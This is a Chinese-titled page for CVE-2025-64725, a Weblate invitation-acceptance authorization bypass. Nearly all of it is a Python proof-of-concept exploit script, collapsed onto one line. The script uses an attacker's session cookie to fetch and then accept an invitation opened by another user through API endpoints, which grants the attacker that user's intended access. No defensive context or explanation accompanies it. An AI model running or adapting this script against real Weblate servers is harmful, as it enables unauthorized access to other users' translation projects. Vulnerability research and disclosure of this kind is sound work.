CVE-2025-64725 Weblate邀请接受权限绕过漏洞

import requests import sys # CVE-2025-64725 PoC - Weblate Invitation Acceptance Authorization Bypass # This PoC demonstrates how an attacker can accept an invitation opened by another user TARGET_URL = "https://vulnerable-weblate-instance.com" ATTACKER_SESSION = "attacker_session_cookie_here" TARGET_INVITATION_ID = "invitation_id_to_accept" def exploit_invitation_bypass(): """ Exploit Weblate CVE-2025-64725 Attack scenario: Accept invitation opened by another user without proper authorization """ headers = { "Cookie": f"sessionid={ATTACKER_SESSION}", "Content-Type": "application/json", "X-CSRFToken": "csrf_token_here" } # Step 1: Get the invitation details (opened by target user) invitation_url = f"{TARGET_URL}/api/invitations/{TARGET_INVITATION_ID}/" response = requests.get(invitation_url, headers=headers) if response.status_code != 200: print(f"[-] Failed to access invitation: {response.status_code}") return False invitation_data = response.json() print(f"[*] Invitation details: {invitation_data}") # Step 2: Accept the invitation using attacker's session # The vulnerability allows accepting invitations opened by other users accept_url = f"{TARGET_URL}/api/invitations/{TARGET_INVITATION_ID}/accept/" accept_response = requests.post(accept_url, headers=headers, json={}) if accept_response.status_code in [200, 201]: print("[+] Successfully accepted invitation!") print("[*] Attacker now has access to resources intended for target user") return True else: print(f"[-] Failed to accept invitation: {accept_response.status_code}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve_2025_64725_poc.py <target_url> <session_cookie> <invitation_id>") sys.exit(1) global TARGET_URL, ATTACKER_SESSION, TARGET_INVITATION_ID TARGET_URL = sys.argv[1] ATTACKER_SESSION = sys.argv[2] TARGET_INVITATION_ID = sys.argv[3] print(f"[*] Exploiting CVE-2025-64725 on {TARGET_URL}") exploit_invitation_bypass() if __name__ == "__main__": main()